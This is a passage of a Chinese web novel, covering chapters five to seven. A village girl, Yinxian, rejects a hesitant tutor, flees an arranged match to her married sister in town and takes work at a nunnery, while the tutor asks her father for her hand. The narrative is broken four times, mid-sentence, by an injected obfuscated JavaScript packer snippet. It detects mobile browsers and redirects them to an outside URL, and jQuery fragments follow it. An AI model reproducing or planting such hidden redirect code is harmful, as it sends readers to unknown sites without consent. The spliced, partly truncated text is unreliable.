第一锅熟以后，顾不得烫手，她哈着气在两个手里倒来倒去，稍微凉一点就往嘴里送，几口就吃了一个。 做菜的手艺都是姐姐教的，她做的地皮菜包子比自己做的好吃多了。 越是这个时候，引线就越是想念她。 第二锅蒸上，趁着空隙她又吃了一个。 第三锅蒸，她又吃一个。 蒸完后数了数，一共三十二个。 分了两拨，一份十个包子，外加两个早就干硬的饼，一壶水，这些给地里干活的叶望山和吴七娘。 另一拨装了十五个，五个给叶锦砚，十个给周夫子。 想了想，她又装了一小罐自己做的腌菜放进背篓。 又看了眼还剩下的，都装了待会打算给杨家拿去。 背篓里热气腾腾，引线要出去，谷子似乎知道她要去隔壁村，懒懒散散地爬起来，也兴冲冲跟着出去。 快四月的天，这会出门，日头已经升到半空，有些热气蒸腾起来，她没带草帽感觉晒得慌，脚下就快了些。 她去了杨大树家，只有最小的两个孩子在家，看她送了地皮菜包子，一个两个都高兴地喊叶二姐。 走到田地里，放眼望去，正是春耕农忙时，都是忙着翻地修垄埋头苦干的人。 “今日这么早？”叶望山看了一眼天，问。 引线也不看他，将带来的包子饼和凉水拿出来，“做得早了些，还要去给小弟和夫子送。” 叶望山“哦”了一声，看她将东西放在深草处，记了下位置就继续埋着头干活。 父女俩个只有两句话说，引线也不觉得难受，反而自在了一些，带着谷子往南洼村去。 南洼村上百户人家，村户林立，路也比石桥村好走，即便村塾在靠村西头的位置，也不觉得累。 有人看到引线来，和她招呼：“叶家二丫头，今日该你家送饭了啊？” 引线点头，算是答了她的话。 在家时辰早，走到村塾却刚刚好，半大不小的学童一窝蜂跑出来，叶锦砚老远就看到了熟悉的身影，大喊一声：“二姐！”就跑了过来。 “一想到今天中午吃包子，今上午一个字都没听进去，就想着包子包子了。”叶锦砚嘿嘿，鼻子嗅了嗅，拿起一个就吃了一大半，“唔，还有点热呢。” 引线也不多话，将另外一盆包子和腌菜递给他：“周夫子的，你拿进去吧，我就不进去了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587440|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶锦砚没心没肺，点点头，却看到明显一大包，有点愕然：“夫子哪吃得了这么多！还有腌菜，他都不吃这个！” “他又不是一个人，还有周举人呢。”引线瞪他，“让你拿去就拿去，别废话。” 叶锦砚哦了一声，抱着包好的包子就要回去，却看到周蕴生走过来，连忙喊了声夫子。 看自己一来，她就要走的样子，周蕴生赶紧喊住她：“叶姑娘，你，你等一等！” 引线停住脚步，看他，却依然没说话。 叶锦砚在这，周蕴生有点不好张口，清了清嗓子：“锦砚，你进去吧，我和你二姐有些事要说。” 叶锦砚以为他要说自己昨日在学堂和人打架的事，立刻警觉：“夫子，您和我二姐有什么事要说？” 引线知道他想说什么。 一年多以来，周蕴生不是没对她有过暗示，她从一开始的自觉配不上，到后面厌烦他只是有意无意地暗示却并不上门提亲，因此每次送饭都喊了小弟出来就离开，就怕和他遇上扯不清楚。 她想过了，周举人父子是读书人，又是从外头躲避进村的，不过暂时歇脚处，怎么会娶她一个村姑做媳妇？她有自知之明，还是不要沾惹麻烦的好。 今日是个好时机，有些话说清楚了，以后才少些麻烦。 “小弟，你进去。”引线干脆道。 连二姐都发话了，叶锦砚也不好再问，只能心惊胆战地走了。 “周夫子，你想说什么？” 她这么直白，周蕴生原本准备的话都被打乱了，一时语塞，好半晌才反应过来：“叶姑娘，我，我听说你在议亲了，是不是？” “是，又如何？”引线有点无奈，又有点不耐烦，吴氏为了把她卖个好价钱，附近几个乡的媒人都找遍了，最近一个还是从老远的地方找来的，结果七拐八拐又说回了南洼村，若不是说巧那就只能用缘分解释了。 见她干脆利落，原本就有些踌躇的周蕴生顿时有些惭愧，也算是鼓舞了他，因而深吸一口气，道：“叶姑娘，以你的聪明，这么久以来想必已经知道我的心意，虽然我现在无法上门提亲，不过能否请你再等一等？” “周夫子，”引线一怔，和周蕴生见面几回，她不是感觉不出来对方的心思，但她向来喜欢直率的人，像周蕴生这样拖拉犹豫的她别说心思，就是一点害羞都没有。而且周蕴生的身份在村里属于人人敬重，见了面都要喊一声夫子，她有自知之明，因此她没回答，反问道，“你今日对我说的，周老夫子可点了头？” 周蕴生脸上一红，摇摇头，“不，我爹不知道。” 引线正色看着他道：“父母之命媒妁之言，虽然我只是村中姑娘，可并不代表也能和你私底下定终身，若你要提亲，明日就是个好时候，想必我爹会很高兴。”她就是激他，若他能有这个冲劲她倒是对他刮目相看了，但引线很明白，他不会。 果然，周蕴生原本脸上发红，这下由红转白，一个字也说不出来了。 “既然做不到，周夫子还是别再说方才的话了，我也只当今日从没见过你，告辞。”将背篓掂了掂，东西腾空了，肩膀也松快许多，引线转身就走，一眼也没再看他。 5. 第五章 回了村，老远就看到李二姑坐在村口碾盘上和人闲聊，一边时不时伸脖子，直到瞧见引线的身影，赶紧笑呵呵地迎上来低声道：“叶家二丫头，我刚才去你家没人，你爹娘呢？陈家那边有答复了，说择日不如撞日，后日定下来你家相看，行不行你到时候给句话就成。” 引线忍不住想到张庆描述那野人一样的男人，心里瑟缩了一下，摇摇头越过她就要走。 “这丫头，你倒是给句话？”李二姑一拍大腿。 一旁有妇人笑道：“这叶家的二丫头是个手脚麻利的勤快人，但就是话不多，而且又是这样臊人的事，你问她也是白搭，这个时候他爹肯定在地里，你要事着急就去下河沟那边的田里头找。” 李二姑一想也是，父母之命媒妁之言，现在虽然是特殊年景，依旧是礼不可废，自己跟小丫头白说，没再追，而是一扭头去了下河沟，留下方才探听到八卦的妇人们交头接耳，说得唾沫横飞。 引线一路跑回去，越想越不行，立刻去柴房后面找出了那一小坛腌菜，收了两件衣裳，将所有东西包在布里打好四个结，又全都塞进了被窝里头。 果然，没多久，干活回来在外头刮了鞋底混合着草屑的泥，叶望山就瞧见正在灶房忙活晚饭的女儿。 今天太阳大，在地里晒了一天，就算戴了草帽，吴七娘满脸依旧蒸腾地通红，头上的发胡乱鬏在一团贴在头上，赶紧打了盆水洗手也洗了把脸，换了件干爽衣裳，就看见儿子背着书袋回来，立刻问他：“今天你姐送来的地耳包子有多少个？” 叶锦砚撇嘴，老实交代：“我五个，夫子十个。” 吴七娘顿时不满意了，插着腰在灶房门口喊道：“咱家是有金山还是银山？就做了几个地耳包子，还要这送那送，就是有金山银山谁禁得住这么造？” 她刚才趁着打水的空隙检查过灶房了，里头一个包子也没了，鸡窝里的鸡蛋也一个不剩，她发了多少面她清楚，剩余的肯定是这死丫头拿去送人了。 叶望山咳嗽一声，“你嚷嚷什么呢？几个包子也值得大呼小叫？” “爹，的确是我送人了。”引线端着做好的饭菜出来，瞥了后娘一眼，“大树哥告诉我们小河沟下头有地耳菜，不然哪里吃得着，给人送错了？” “地皮菜值几个钱！”吴七娘不满，“怎不说费了我那么多鸡蛋呢？村里谁家一顿能吃这么多个？照你这么过法，早晚家吃穷吃垮！” “好了！”叶望山在读书这件事上向来脾气硬，呵斥一声，“你给我闭嘴！不都是为了老三念书？半个月轮一回还不给夫子做带油水的，不是让别人看笑话？你还多嘴那老三也不用去学堂了！” 自然了，叶锦砚念书也是吴七娘的指望，当初有个瞎眼算命的路过讨水吃，临走时指着摇篮里的叶锦砚说他将来是当官的料，因此吴七娘信奉为真，家里再缺也从没短过叶锦砚一日上学。 吴七娘瞪了一眼引线，随后又顾及陈家上门相看的事，也就暂时劝自己忍下这口气。 吃饭时，叶望山看了引线一眼，道：“后日你别出门，媒人和男方要来家里。” 引线挟了一筷子笋干放进口里，之后轻轻地恩了一声。 叶锦砚中午包子吃得格外饱，对晚饭猪油炒的酸笋干也不感兴趣，冲叶望山兴致勃勃搭话：“爹，我听说他是打猎的，上门相看会不会给咱们提些山里的野物来？” 叶望山说：“可能吧，如今肉价贵，一般人吃不起，也就是山里的活物能开个荤。” 山里东西无论何时都金贵，可进山容易，打到东西却不容易，但凡不熟悉路的迷了路还算轻，要是没那个本事打到野物还弄伤了，耽误家里的农活，那才是要了命了。因此无论是南洼村还是石桥村都很少有人进山去，村里的老人也一再叮嘱家里的孩子只在后山腰处拾柴火之类的，千万别往里头走。 “要是到时候二姐真嫁过去了，我也想去山里见识见识！” 叶望山还没说话，吴七娘就一副生怕叶锦砚明日就上山的样子，紧张道：“你一天乱想什么呢，那山里豹子野兽什么，也是胡乱进得？” “以后二姐都要住过去，二姐去得，我怎么去不得？”叶锦砚反驳。 “这能一样吗？”吴七娘下意识道，“那山上又是狼啊又是野猪的，一个弄不好就伤着，你是读书人，将来要当官的，怎么能受伤？” 这下场面顿时凝固，叶望山将筷子摔在桌上，高声道：“孩子面前你胡说八道什么？” 吴七娘也晓得自己说错了话，讪讪然地缩了缩手。 引线没心思听他们的，将自己碗筷一收送去灶房，一扭头回了自己屋。 “都是你多问！”吴七娘瞪了儿子一眼，“快吃饭！” 叶锦砚撇了撇嘴。 * 引线当然不在乎，因为她就要拂了他们的意，去城里投奔姐姐。 东西已经收拾好了，她决定明日装作要进山的样子糊弄过去，实则一早就搭车去城里。 想着想着，一觉睡到第二日天蒙蒙亮。 晨光熹微，引线赶紧起身，去水缸里打了水洗了把脸好让自己清醒一点，待动作麻利地摸索着将乌鸦鸦的头发编成一个大辫子垂在脑后，就蹑手蹑脚地背上包袱出门去村口。 这里是拉人载货过路车的必经之路，到这就不用再往前了，只需等着牛车来。 天色有些许透亮的时候，远远就看到薄雾中有车来，驾牛车的老汉一面摇着铃铛一面高声喊，见到引线招手立刻拉停了车。 付了三文钱，引线上了车坐下。 板车用柏木制成，结实耐用，三面都能坐人，顶上面架了简易的竹架草棚做遮挡日头或是雨水，全都坐满了得要七八个人，若都是妇人和孩子又要多算三四个，但这会板车上还没有人，显得很宽敞。 走到南洼村时，车猛然一顿，引线原本瞌睡来得急正眯着眼睛，被他这么一拉缰绳，脑袋一下撞在了撑板上，疼得龇牙咧嘴。 早上起的实在是太早了，她不想说话，也不想发气，于是眼睛都没睁，抬手揉了揉额头继续小眯。 耳边传来说话声，这徐老汉不知跟谁招呼，听着很是热情邀请那人上车。 随后不久，一方阴影盖住她，引线迷迷糊糊看到坐上来个高壮的青年。 见车上只有抱着包袱假寐的引线，这青年便自发坐在车尾处的另一边，两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587441|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人中间隔了四五步远，引线也就将方才提起来的心稍稍放下了些。 徐老汉一声喊，牛车重新动了起来。 没多会却又停了。 引线休息了一会有了精神，忍不住睁眼去看，岔路口有两名妇人各自牵着孩子，背着包袱，其中一个妇人怀里还抱着个奶娃娃，正睡得香甜。 两人打听了去县里的价，来不及给钱就督促三个四五岁的孩子上车，待妇人上车后，顿时车上变得拥挤了不少。 老汉回头看一眼，见她们脚边还放着口大箱子，顿时摆手：“箱子占地得另外算钱，折人一半，你们两个大人加行李，算八文钱就成。” 妇人们顿时不依，抱孩子的妇人还算和气，只是讲道理，另一名个高的妇人却指着青年和老汉争辩起来：“他这样占地，你还不是让他上车了？徐老汉，你就是欺负我们娘几个！” 引线好奇地看过去，见那青年有些尴尬，却并不气恼，正要说话就听徐老汉就道：“他再占地也就一个人，你箱子又不能抱也不能挤，占我两人的位置，我折半收你两个钱已经很实惠了！既如此，你爱坐就坐不坐拉倒！” 说着就催促两人将孩子抱下去。 可这条路上每日一早一晚来往车少，真要等不知何时去了，两名妇人更吵闹起来，说的都是徐老汉不公云云。 吵闹之间，引线看到那青年起身下了车：“徐伯，原本我就说不坐，我还是下车吧，这样也能宽敞些。” 徐老汉急了，丢开缰绳下来：“你爹当年对我照顾多，这车架都是当年他给我打的，要不是他，我哪里能有这口饭吃，只怕到现在还是个孤家寡人，拉你走一趟又怎么了，别说了，快上车坐好！” 那两名原本喋喋不休的妇人顿时住了口，面露尴尬。 青年笑了笑，脸上两个酒窝显现，这对于一个身材高大的他来说实在是有点反差，不过却也有几分亲和，他冲着那两妇人道：“这里离县里不过七八里路，我身强体健不怕，你们又是孩子又是行李，自不好走，还是上车吧。”说着将妇人身后的两口箱子搬上车， 他身形好，力气也足，三两下就摆平了，做完后直对徐老汉拱了拱手，提着一包东西就大步向前去。 那两名妇人上了车，车路过他时，其中一个探了头冲正在步行的青年道：“小郎君，你家姓什名谁，是哪里的人？今日真是多谢你了！” 青年摇摇头不语，眼神也不知是无意还是有意，忽然和偷眼打量他的引线交汇上，他眼珠又黑又亮，被两道俊挺的深眉压在深深的眼窝里，愈发显得五官深邃，倒像是关外的相貌，引线心里砰砰乱跳，赶紧挪开眼。 那青年被她忽然盯着看一眼，又见她忽然挪开眼，不由地就是一愣。 这只是个小风波，很快牛车驶进了城，下车后，按着记忆里的路线，引线往东去了柳家。 柳家经营着两家棉布店和一家油醋坊，另祖辈传下来的三十多亩地，在这样普通农户吃肉穿衣都局促的情形下还能养着两个干粗使的下人，也算是小有家资。 柳家目前是柳母当家，家里两个儿子都娶了媳妇，大儿子叫柳望，小儿子柳守，姐姐穿针嫁的正是小儿子。 6. 第六章 村里人都羡慕她嫁给了城里富户，可却不知，因身份不比长媳娘家是隔壁县米商，又是柳守主动求娶而成的婚，因此穿针在婆婆面前没几分脸面，连带着几个下人也看不上来探望的引线。 “最近城里出了不少贼，老太太吩咐不许随意放人进出，小娘子还是稍待吧。”守门的人抬抬眼，话说得客气，眼神却扫她两遍。 引线不想给姐姐添麻烦，点头沉默应了。 柳家早年也不过是个富农，后来搬到城里置了这些，比照大户人家的做派请了个守门的，跑去不过打一个来回，就请了她进去。 穿针来的时候，引线抬头看她，见她穿着素青绫衫儿，白棉布裙子，头发简单盘在脑后，带着两支半新不旧的银钗，心想姐姐虽说顶上有个不好相与的婆婆，但好在吃穿用度比外头的强，姐夫对她也好。 穿针没她想的这么多，急匆匆赶来时耳边的发丝都乱了好些，见到她来有些诧异，“不是还有几日，怎么提前来了？” 她嫁进来后就跟着丈夫打理棉布店的事，丈夫虽然出身在柳家，算账却不比她脑子转得快，因而就算婆母再不愿她插手，也好过交给外头的人。方才她正忙着，听到妹妹来了，赶紧飞奔过来。 “我给你送腌菜。”引线笑着说，“是春杏奶做的，她的手艺你吃过。” “你吃饭没？”穿针拉着她往里走，问。 引线点点头，却又在她审视的目光下轻轻摇了摇头：“起得早，又赶着来，没顾得上。” 穿针就道：“说巧不巧，今早厨房还剩了半屉包子，是用你去年送的干香菇泡发做的，我去给你拿两个来。” “这样不好，姐，你别去了。”引线生怕给她添多余的麻烦事，赶紧拉住她。 “两个包子而已，”穿针白了她一眼，也清楚妹妹是不想让她为难，但她不在乎，立刻起身，“看你吓得。” 包子拿来时还是温热的，一共四个，每个虽然只有引线的半个拳头大，但在白瓷碗中散发着浓浓的猪油香气格外诱人，引线也就不客气了，就着一盅茶水，拿着慢慢吃了起来。 “姐夫呢？” “你姐夫去外地收料去了，还有几日才回来。” 吃完擦了手，姐妹俩去了室内坐下寒暄几句，穿针看了眼那坛子被她一路抱在怀里保护的好好的腌菜坛子，又看了一眼笑得勉强的妹妹，心里有了数。 “你是不是遇上难事了？吴氏给你气受了？”穿针皱着眉头问。 引线摇摇头，没吭声，却也没笑了。 穿针走过去挨着妹妹肩碰肩坐下，这么近，能看到小姑娘的脸因为日头底下赶路还没来得及消退的红色，可俩人姐妹十几年，她扫一眼就知道引线肯定是受委屈了。 “你说吧。”在妹妹的事上，穿针向来干脆，也就不拐弯了。 引线这才将吴七娘给她找婆家的事给倒了个干净，说到那陈二郎的时候，立刻想到了当时听说的那些似真还假的传闻，忍不住打了个哆嗦。 听她说起，穿针的眉头就没松开过。 “之前我想给你物色亲事，吴氏怂恿挑拨，爹偏听偏信驳了我，如今却将她说的当成个圣旨了，”穿针冷笑一声，拍了拍她的肩，“既然你来了，就暂时别走，在我这住下，等吴氏何时死心何时再走。” “我怎好住在这儿？我自己靠卖山竽和薯蓣攒了几十个钱，去哪里都使得。”引线当然知道她的处境，她只想让姐姐帮她在城里找个活计，做哪家的厨房帮佣也使得，去哪家人户打杂也使得，或是找家庵堂租住，只要躲了这几日就成。 “这怎么成？你个如花似玉的小姑娘，断然没有去那些地方的道理，我也不会让你去。”穿针立刻拒绝，“你就在我这屋子里住下，不要怕。” 引线心知她自己个出去借住也很是不妥，看着姐姐发话，她心里稍安，却又问：“柳伯母我总得去拜会，要不我买两盒点心送过去。” “你手里几个钱？也不知攒了多久的，别胡乱花用，”穿针已经从箱子里找了一对新做的女鞋出来，鞋面铺着素布不起眼，但却针脚细密用料扎实，“是要去说一声，但用不着你出，拿上这个就成，就说是爹特意让你来的。” 两姐妹对了对话免得说漏嘴，这才去了柳母住的大屋。 柳母果然上下挑剔地看了引线几眼，即便有一双鞋子做由头，依然免不了刺小儿媳妇几句。 引线心里有些酸涩，但偷偷看姐姐，她好像浑然不觉。 “姐姐，你在柳家过得不好？”从前她过来都极少见柳母，因而只是从守门态度上看出一二，今日还是头一次瞧见柳母对待穿针的态度，也是自己在都这样，平日里还不知道如何过分。 穿针却笑了笑，挽着她的手往回走，“她也就嘴上厉害，想用招也斗不过我这个乡下村姑，放心。” 引线安心在柳家住下，浑然不知石桥村自家里已经翻了天。 * 石桥村这头，早起不见引线，只以为她进山去了，等到午晌回来，发现家里冷锅冷灶，叶望山才察觉不对劲，赶紧敲门，敲了半天也不见一点动静，这才发现了里头根本没人。 吴七娘还以为引线去了后山，可去问春杏却说今日都没见，也并未约着去后山。 春杏奶对吴七娘一向不待见，见她还有话问，拉着孙女就进了屋，一点好脸色不给，吴七娘吃个闭门羹，黑着脸回去的。 吴七娘气得牙痒痒，明日人家男方就要上门来了，这死丫头居然跑路，这会怎么跟人家交待？ 不知引线去向，叶望山着急上火在家里来回走，两人商量一阵也没个结果，最后还是叶锦砚道：“二姐肯定进城找大姐去了。” 这会去找肯定来不及了，柳家也不敢贸然去，两人只能硬着头皮在家等着李二姑带着陈家人登门。 第二日陈二郎不但来了，连陈家大哥大嫂都来了，还带了两只鸡和一匹棉布做正式的见面礼，又保证提亲时会备足聘礼，一切都很合心意。 原本是极好的亲事，可如今自家女儿却忽然失踪了，这让叶望山脸上根本挂不住。 男方大嫂屡次问姑娘怎么不在，还朝旁边的屋门紧闭的屋子里张望，吴七娘只好搪塞过去。 心思敏锐的李二姑察觉出了不对，笑着打圆场要是姑娘今日不在，明日带去男方那边走一趟也是可行的，两边相看，互相探探心里也有底。 然而吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587442|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七娘和叶望山心知引线根本不在家里，况且她都能大着胆子离家出走，还有什么事做不出来？就算将她找回来她要是不乐意，闹大了谁都没脸，俩夫妻都心里有数，只好厚着脸皮轮着搪塞。 对方也不是傻子，自然看明白了姑娘根本不在，也就理解成了女方并不愿意，只是推辞不过，以此委婉拒绝呢。 想明白后，两家也就没什么好说的了，叶望山将之前收的东西都让男方提走，又反送了一只鸭子做赔罪，客客气气将人送走。 人一走，叶望山脸上僵硬的笑容顿时垮掉，却叹了一口气，蹲在地上闷声不语。 吴七娘哭哭啼啼地拉扯他：“我算是丢死人了！好不容易给她寻摸了门好亲事，结果她半夜跑了，还倒亏了我一只肥鸭子！一个大姑娘家莫非还要自己寻摸亲事？说出去谁不在背后戳脊梁骨？这个家我是没法子当了，我带着锦砚回娘家去，免得在这儿受这吃力不讨好的罪！” 叶望山依旧没吭声。 吴七娘是个口舌厉害却惯会撒娇卖痴的妇人，这下抓住了引线的把柄，又在媒人面前丢了脸，面子上挂不住，哭哭嚷嚷个没完。 “行了！”叶望山站起身来，“让她去几天也好，外头人问起，你就说这丫头记错了日子，提前去给她姐送东西了，要是让我晓得你背后瞎咧咧，那你就回娘家去吧，我也不拦着你！” 叶望山平日里看着老实，可吴七娘跟他夫妻多年，怎不知他平日里任由自己作威作福，但只要他钻了牛角尖，夫妻俩必定要闹起来，他也绝对不会服软。 再说她娘家几个大嫂可不是好相与的，她说回娘家也就是逞口舌威风罢了，叶望山给她台阶下，她自然不敢再多说一个字，只坐那儿闷着气拿帕子假装擦眼泪。 叶望山摔门而去，留下在家里咬牙切齿的吴七娘狠狠道：“死丫头，好不容易赶上这么个，你还要坏老娘的好事！看回来我不好好收拾你！” 穿针当初嫁人的时候就是她去城里卖布的时候自己相看上的，大姑娘自己看人家传出去不好听，可架不住柳家富庶，比较起石桥村南洼村已经是大户人家了。 更别提送来的聘礼按照城里的标准是四抬，个个用刷了红漆的箱子装着，一路招摇过市，从村口到叶家，码放在院子里，在这个娶亲只需要一匹红布几石粮食的村里，这堪比那应天府公侯伯爵，人人都只有羡慕的份，哪里还敢背后议论。 她扫了一圈，一想到自己一个当了几年名义上的娘，穿针成亲却一点油水也没沾上，气得她白日里应付亲戚，晚上将帐子都要撕碎了。 后来引线也到了说亲的年纪，她怎么能不找补回来？开出了“天价聘礼”，原来想着怎么着也能混几年劳力，再将她慢慢嫁出去，如今好容易有个人选，她真是越想越不甘心，转了两圈，去了灶房提了几个鸡蛋也出门去。 她去的是同村的郭婶子家，一去见了面，郭婶子正在家拆旧棉花没出去，吴七娘就将鸡蛋送上，说了来意。 郭婶子爽朗道：“这不是什么难事，你算是找对人了，我家那口子曾经同陈家大郎一起去干过活，俩人说得上话，我让他给你打听打听。” 吴七娘笑呵呵地，连说了好几句谢。 7. 第七章 叶望山这头不知她还去干了这些事，他闷着头出了门也不知要去哪里，停顿了一会决定去地里看庄稼，哪怕日头晒也不愿意回去拿帽子了，就这么光着头顶去。 才走到半道上就见有人急匆匆来。 “周夫子！”叶望山冲他招呼。 原本他作为长辈无需主动招呼，可周蕴生是学堂先生的地位摆在那儿，敬重读书人，加上锦砚在学堂念书，他乐意主动冲他招呼。 打完招呼后却反应了过来，这个时候他本应该在村塾里教孩子们念书上课才对吗？ “望山叔。”周蕴生也是没想到在这遇见他，有点手足无措起来，不过也只是一瞬间，他就恢复了原样。 叶望山心头虽然疑惑，但招呼完他就要继续走，本该错开的周蕴生却忽然叫住了他。 “周夫子，是不是锦砚惹了什么祸？”叶望山猜测，心底瞬间更加烦躁了。 周蕴生看上面上升腾起一股不快，赶紧解释：“并非是锦砚，您不要误会。” 叶望山这下更疑惑了，他望着平日里仪态端方，说话有条不紊的周蕴生，察觉到他今日确实是有些紧张，心底浮起一个念头来。 有回锦砚下学回来，一家人吃饭时提到了周夫子，锦砚就说周夫子最喜欢吃二姐做的饭菜，每回若是二姐来送饭他脸上的笑容都要多几分。 叶望山只当是小女儿手艺好，可现在看来好像不止这么回事。 他心里揣了念头，因此当周蕴生提出去自己家说话时，他也就顺从地跟着折返回去。 进了家，吴七娘不知去哪儿了，鸡咯咯乱叫，大黄狗谷子懒洋洋地趴在房檐下的阴凉处，门没推开时它警觉地抬起头，看到进门的人一瞬又恢复了松弛继续趴下去睡觉，只是后面的生人进来时它又抬起头打量了好一阵。 叶望山给他倒了水，周蕴生吃了一口，从南洼走过来的那股子冲劲和热气都散了不少，鼓足一股气，从怀里摸出一样东西来递给叶望山，待他接过后，又起身作了一揖。 “望山叔，我虽是读书人，可我爹有旧疾需要常年用药，家里并无余裕，这块玉是我娘当初留给我的，今日我将它赠给您，是想请您将叶二姑娘嫁给我。” 叶望山喜出望外。 他不是不晓得吴七娘开出的聘礼没几个人能出得起，但只因在穿针的事上让了步，因而他只能由着她折腾，左右聘礼多些对引线也是好事。退一步说，反正到时没有他的点头，吴七娘要想有小心思也不能成。 如今周蕴生主动提出，还拿了这样一块玉佩当信物，想必即便没有那些聘礼吴七娘也挑不出什么刺了。 高兴之余，叶望山问：“周举人可知道这事？” 周蕴生神色一愣，终究不能说谎：“不，我爹他不知，今日是我私自来的。”见叶望山脸上的笑容顿时散去，周蕴生赶紧补充，“不过请您放心，我会说服他，因而请您不要再替她相看亲事。” 叶望山察觉到了，也从欢喜中反应了过来，是啊，自己家就是本本分分的民户，虽说自己认识几个字，可依旧是摆不脱泥腿子的身份。 反观周氏父子，多年前进村时就穿着绸衣皂靴，周老夫子是举人，周蕴后来也过了童生试，以后定然是继续往上走的。加之周老夫子平日里只与里正有来往，大家都知道他们总有一日会离开南洼，因而都对他们敬重又客气。 周蕴生这样的人，前程那样好，周举人怎会点头让他娶一个农家女。 想到这里，宛如一盆冷水将叶望山兜头浇地满身冰凉，也冷静了下来。 看着周蕴生炙热诚恳的眼神，叶望山心底不舍这段良缘也只能叹一口气，将玉佩还给他：“劳你看得起我家二丫头，但我觉着这件事还是等你问过周举人，得到他的点头再说才妥当。” 周蕴生顿时急了，“望山叔，我一定会让我爹同意的，您就答应我吧！” 叶望山却不为所动：“周夫子，你的心意我晓得了，但向来婚姻大事，得父母亲点头才算好，还是回去吧。” “望山叔！”周蕴生一急，双膝一软给他跪下，“我对引线是真心的，自从去年我去村塾任教看到她时，别的姑娘我就再也看不见了，但我还没考中秀才，有些话我也不敢提，怕辜负了她。如今我是鼓足了一口劲来的，您若是不接下这枚玉佩，叫我怎么甘心！” 叶望山原本将心肠硬起来回绝，但看他这样一副表白，顿时又动容了。 谁不想将来有个秀才女婿？且不说夫子和姐夫哪个身份对锦砚更好，就是将来他要是再考中个举人，那引线就是举人娘子，一辈子别说不用在地里刨食，就是子孙后代都彻底翻了身了。 他想了想，也揣了一股侥幸，因而不打算回绝，但也没一口答应，而是想了个折中的法子。 “既然你如此诚心，我也不好不应你。只是父母之命依旧是不可废，若你真心欢喜我家二丫头，我就给你十日时间劝说周老夫子，十日之后若成，这玉佩留在我这当做聘礼一物，若不成，这玉佩你依旧拿回去，咱们两家不相干，我也只当你今日从未来过。” 周蕴生得了他松口，立刻高兴起来，又恭敬将玉佩奉送到叶望山手上，作了一揖才告辞离开：“十日之后，我一定带着媒人登门提亲！” 叶望山送他出去，看着周蕴生清瘦修长的背影，心里叹了口气，他这辈子可想都没想过能有个秀才女婿呢！ * 城里柳家，引线也正扶着门要出去。 门房小倌看着她，不咸不淡地招呼了一声：“叶二姑娘，要出门去啊。” 人在屋檐下，对方的态度再差，她也忍着应了一声。 等她走后，门房小倌“嘁”了一声，轻蔑鄙夷简直都要摆在脸上了。 引线假装没听到，径直出了柳家，沿着河道的青石板路去了正对街的清净庵。 在柳家住了几日，姐夫没回，她白日都出去找找有什么能做的，晚饭时候再回去，以免让姐姐受柳母挑刺。 前日柳家隔壁和姐姐交好的娘子来串门时说，前面正对街的清净庵正布施，给附近几个街巷平日受供奉的人户送枣糕和笼饼。 她算账理事不如姐姐，但做吃食这方面还算不错，就自告奋勇做了一屉送去，庵主吃后连说好，便让她和另一个妇人负责做，一日工钱十五个。 虽说工钱不高，但胜在管中午一顿饭食以及湃过的绿豆水随便吃，也算是好。 最重要不用成日待在柳家听那些闲言碎语。 进门后，另一个干活的马娘子已经早早到了，头上用布包着，袖子高高打起，露出一截壮实的胳膊，见了引线笑着招呼：“快来，我已经搅了一盆糕泥了。” 两人得了工，互相说了几句，发现对方都是好相处的人，便商量好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587443|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分工，引线负责搅面和捏团，马娘子体力好负责揉面和摆屉，短短两日就配合地很是不错。 引线“哎”了一声，跟着她一样，掏出布来包了头，袖子高打到上臂固定，接了她手里的活。 两人有了配合，做起来也快，才到中午就已经做了十屉，庵堂到处都弥漫着一股混杂着浓郁枣香与面食清香的气味，在这样的春日里浓郁甜腻。 吃过午饭两人接着干，一直到日头快要落下，最后一锅热气腾腾的笼饼才拣好盖好，等着明日一早庵主去各家布施。 天气回暖，加之干一天的活，引线出了一身的汗，肚子也早就空空如也，马娘子虽然成了亲，却也没孩子要照管，两人一合计，去了附近的食街摊子随意吃点打发了五脏庙再说。 